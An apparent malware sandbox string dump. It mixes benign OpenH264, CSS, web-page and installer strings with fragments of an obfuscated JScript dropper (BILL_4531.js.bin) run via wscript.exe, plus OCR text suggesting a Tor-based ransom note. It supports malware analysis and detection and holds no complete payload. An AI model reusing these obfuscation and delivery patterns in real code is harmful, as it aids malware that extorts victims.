CWelsH264SVCEncoder::ForceIntraFrame(), bIDR= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_BITRATE, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_DATAFORMAT, m_iCspInternal= 0x%x

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_FRAME_RATE, fMaxFrameRate = %.6ff

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_IDR_INTERVAL, uiIntraPeriod= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_MAX_BITRATE,, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_BASE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_EXT

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitEncoder(), openh264 codec version = %s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid argv= 0x%p

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid argv= 0x%p.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid iSpatialLayerNum= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid iTemporalLayerNum= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiGopSize= %d, valid at range of [1, %d] and yield to power of 2.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiGopSize= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiIntraPeriod= %d, valid in case it equals to 0 for unlimited intra period or exceeds specified uiGopSize= %d also multiple of it.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiIntraPeriod= %d, valid in case it equals to 0 for unlimited intra period or exceeds specified uiGopSize= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), parameter_translation failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), reinitialize, m_bInitialFlag= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), WelsInitEncoderExt failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitializeExt(), invalid argv= 0x%p

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitializeExt(), parameter_translation failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption bPrefixNalAddingCtrl = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable LTR = %d,ltrnum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable SPS/PPS ID = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable SSEI = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_LTR_MARKING_PERIOD iLtrMarkPeriod= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE layerId= %d,iSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE,iLayer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITS_VARY_PERCENTAGE,iBitsVaryPercentage = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_COMPLEXITY,iComplexityMode = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_DATAFORMAT, m_iCspInternal= 0x%x

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_DELIVERY_STATUS,bDeliveryFlag = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_FRAME_RATE,m_pEncContext->pSvcParam->fMaxFrameRate= %f

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_GET_STATISTICS: this option is get-only!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_IDR_INTERVAL iValue= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_IS_LOSSLESS_LINK,bIsLosslessLink = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_LEVEL,layerId = %d,expected level = %d,actual level = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_LTR,expected bEnableLongTermReference = %d,expeced iLTRRefNum = %d,actual bEnableLongTermReference = %d,actual iLTRRefNum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_MAX_BITRATE,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_MAX_BITRATE,iLayer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_NUMBER_REF,expected refNum = %d,actual refnum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_PROFILE,iLayer = %d(rang0-3)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_PROFILE,layerId = %d,expected profile = %d,actual profile = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_RC_MODE iRCMode= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_STATISTICS_LOG_INTERVAL,iStatisticsLogInterval = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_BASE iUsageType = %d,iPicWidth= %d;iPicHeight= %d;iTargetBitrate= %d;fMaxFrameRate= %.6ff;iRCMode= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_PADDING_PADDING iPaddingFlag= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Uninitialize(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::WelsCodeOnePicPartition: DynSliceRealloc not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::WelsCodeOnePicPartition: iSliceIdx(%d) over iMaxSliceNumConstraint(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::~CWelsH264SVCEncoder()

Ansi based on Dropped File (gmpopenh264.dll.97104820)

decode failed, failure type:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit() failed (%d) in frame: %d uiDId: %d uiQId: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit(), FmoParamUpdate failed, eSliceType: %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit()::::::PrefetchPic ERROR, pSps->iNumRefFrames:%d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction(): iTotalNumMbRec:%d, total_num_mb_sps:%d, cur_layer_mb_width:%d, cur_layer_mb_height:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction(): will output first frame of new sequence, %d x %d, crop_left:%d, crop_right:%d, crop_top:%d, crop_bottom:%d, ignored error packet:%d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction():New sequence detected, but freezed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeSpsSvcExt():extended_spatial_scalability (%d) != 0, ESS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

decrypt

Ansi based on Image Processing (screen_4.png)

delete[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

disable_deblock_filter_idc (%d) out of range [0, 6]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

disable_inter_layer_deblock_filter_idc (%d) out of range [0, 6]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DisableLocalOverride

Unicode based on Runtime Data (wscript.exe )

DisablePassport

Unicode based on Runtime Data (eXe )

div.menu li {

Ansi based on Dropped File (nav.css)

div.menu ul {

Ansi based on Dropped File (nav.css)

div.menu {

Ansi based on Dropped File (nav.css)

document.getElementById('age_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('age_val_min'),

Ansi based on Dropped File (home-&-garden)

document.getElementById('length_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('length_val_min'),

Ansi based on Dropped File (home-&-garden)

document.getElementById('price_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('price_val_min'),

Ansi based on Dropped File (home-&-garden)

DoErrorConSliceMVCopy()::pPreviousPic and pDec use same buffer, ignored.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support level(%d) change to LEVEL_5_2

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support profile(%d),change to baseline profile

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support the number of reference frame(%d) change to auto select mode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DynSlcJudgeSliceBoundaryStepBack: AddSliceBoundary: iCurMbIdx=%d, uiLen=%d, uiSliceIdx=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ease wait while Setup is loading...

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

EFAULT\Control Panel\International

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ENCODER_OPTION_INTER_SPATIAL_PRED, this feature not supported at present.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Encoding complete. type=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EnumSystemLocalesA

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error allocating frame data

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error creating encoded frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error launching installer

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

error Level setting (%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error writing temporary file. Make sure your temp folder is valid.

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

ers\UPw9LUa\AppData\Local\Temp\nsa2FE8.tmp\System.dll

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ex_mark_avc():::MMCO_LONG:::LTR marking....iFrameNum: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ex_mark_avc():::MMCO_SHORT2LONG:::LTR marking....iFrameNum: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Exec format error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Export

Unicode based on Runtime Data (eXe )

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

FiredSliceThreads(), fail due pPriData == %p || pLbi == %p || iEventCnt(%d) <= 0 || pEventsList == %p!!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

firefox.exe

Unicode based on Runtime Data (helper.exe )

FIREFOX.EXE

Unicode based on Runtime Data (helper.exe )

firefox.exe.moz-upgrade

Unicode based on Runtime Data (helper.exe )

font-family:Arial, Helvetica, sans-serif !important;

Ansi based on Dropped File (nav.css)

font-size:13px !important;

Ansi based on Dropped File (nav.css)

form_inputs.each(function() {

Ansi based on Dropped File (home-&-garden)

form_values[this.name] = $(this).val();

Ansi based on Dropped File (home-&-garden)

form_values_for_url = JSON.stringify(form_values);

Ansi based on Dropped File (home-&-garden)

format: wNumb({

Ansi based on Dropped File (home-&-garden)

frame_crop_left_offset + frame_crop_right_offset exceeds limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frame_crop_top_offset + frame_crop_right_offset exceeds limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FrameRate:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FreeMemorySvc(), verify memory usage (%d bytes) after free..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

function alsosj() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function anar() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function avompavwir() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function bagef() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function buzapm() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function bycy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function evulon() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function evwybo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function exvihve() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function fdutvax() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ghisolpy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function hafutw() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function hyxi() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function immoffunha() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function imsaw() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function iwkydciti() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function mkiwo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function mmysse() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function nsetriso() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ocuqga() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function oqgovajo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function osyqqorvalq() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ozgusaq() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function pjipukyzz() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function qoqkotsy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function qzibxijdeqo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function sxuwga() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ukotyfsug() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function wyvun() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function xocygcah() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ycwywbarm() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ylqeful() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ytxobo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function zcagyl() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function zhavutfi() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ga('create', 'UA-51651642-1', 'auto');

Ansi based on Dropped File (home-&-garden)

ga('send', 'pageview');

Ansi based on Dropped File (home-&-garden)

gaVoxels voxelizer.lnk

Unicode based on Runtime Data (eXe )

GetClassInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetClassInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetCommandLineA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCommandLineW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCPInfo

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCurrentProcess

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCurrentProcessId

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetExitCodeProcess

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetFileVersionInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileVersionInfoSizeA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileVersionInfoSizeW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileVersionInfoW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetLastError

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetLocaleInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetLocaleInfoW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetMultipleThreadIdc(), InitSliceSettings failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetProcAddress

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetProcessHeap

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetProcessWindowStation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetResource.ashx1951421995.css

Unicode based on Runtime Data (eXe )

GetStartupInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetStartupInfoW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetSystemInfo

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetUserObjectInformationW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetVersion

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetVersionExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetVersionExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

hamizha-tamil-fonts-pack-1.0.exe

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

HH:mm:ss

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

https://www.torproje_.or9/download/download-easy.html

Ansi based on Image Processing (screen_4.png)

iBaseModeFlag (%d) != 0, inter-layer prediction not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iexplore.exe

Unicode based on Runtime Data (helper.exe )

if (/cri/.test(ScriptEngine())) xjomgokhe = xjomgokhe[aqmery](ixunlogs[wtyzyj], ewavke[wtyzyj]);

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (acuvby == 687) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (afdih == null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (alsosj() == 777) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (alucra === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (anar() === 'nune') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (aqodep === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (avompavwir() === 715) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (buzapm() === 'etifsigj') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (bycy() == 412) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ejlacozfe === 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (evulon() === 571) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (evwybo() === 854) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (exvihve() == 89) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (farkysp == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (fdutvax() == null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (fhuwovguhxo == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ghisolpy() == false) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (gmerizacz < 1045) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (hafutw() === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ikwucelfy == "alyfmixamz") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ilavhys === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (imekpajwob == 62) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (immoffunha() === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (imsaw() === 'upima') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (iwkydciti() == false) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (iwugdiwx == '5.855') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (izgyjgipso == 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (lerlerkytu == "undefined") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mkiwo() === 17.1654) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mkolcive === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mmysse() === 21.5) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (nisernu === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (nsetriso() < 9) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (obfymogev === 783) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (osyqqorvalq() === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (qoqkotsy() === 124) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (qzibxijdeqo() == 608) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (sxuwga() === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof dhaqsira == 'number') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof etfygfaqy == "object") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof hyxi() == "string") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof ohug == "undefined") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof olupa == 'string') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof pjipukyzz() == "number") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof ylqeful() == 'string') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ucuxju === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ugbuts === 'hucviqidlo') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ukotyfsug() === 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (utany === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (vwivefnawy === 'urylz') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (vyrajtyju == 65.647) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (wtyzyj == ixunlogs.length) break;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (wyvun() == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (xocygcah() < -26) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (xxiccufuxby == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ycwywbarm() == 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ygfavzixt == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ymcev == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (yzfotdynasw === 1) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (zhavutfi() == 15.0474) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

illegal pic_order_cnt_type: %d !

Ansi based on Dropped File (gmpopenh264.dll.97104820)

in Wordpress version 3.0.

Ansi based on Dropped File (nav.css)

index.php1553594928.html

Unicode based on Runtime Data (eXe )

InitDqLayers(), InitSlicePEncCtx failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initializing Bit Rate at: Start:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitSliceSettings(), invalid uiSliceMbNum (%d) settings!,now turn to SM_SINGLE_SLICE type

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitSliceSettings(), uiSliceNum(%d) you set for SM_AUTO_SLICE, now turn to SM_SINGLE_SLICE type!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Input/output error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

inter parse: iMotionPredFlag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Internet Explorer.lnk

Unicode based on Runtime Data (helper.exe )

Invalid settings in bitrate. the sum of each layer bitrate(%d) is larger than total bitrate setting(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid settings in input frame rate(%.6f) or output frame rate(%.6f) of layer #%d config file..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid slice type(%d) in IDR picture.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid slice type(%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

inxikulgig = inxikulgig + '8928';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ios_base::badbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::eofbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::failbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iroregalp = 'pifcanzur';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

IsValidLocale

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IWSHRemoteErrorWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

length_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

Level is changed from (%d) to (%d) according to the maxbitrate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Local

Unicode based on Runtime Data (helper.exe )

Local AppData

Unicode based on Runtime Data (eXe )

LocalAlloc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Locale

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LocalFree

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LocalizedName

Unicode based on Runtime Data (wscript.exe )

LocalRedirectOnly

Unicode based on Runtime Data (wscript.exe )

LocalServer32

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

LTR ,iMarkFrameNum invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

m.,dz'_1rd,_omitevd2ab-3fk.tor2web.or

Ansi based on Image Processing (screen_4.png)

m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

Ansi based on Dropped File (home-&-garden)

max_num_ref_frames exceeds level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxSpatialBitrate (%d) is larger that the limitation LEVEL_5_2, the setting will be invalid

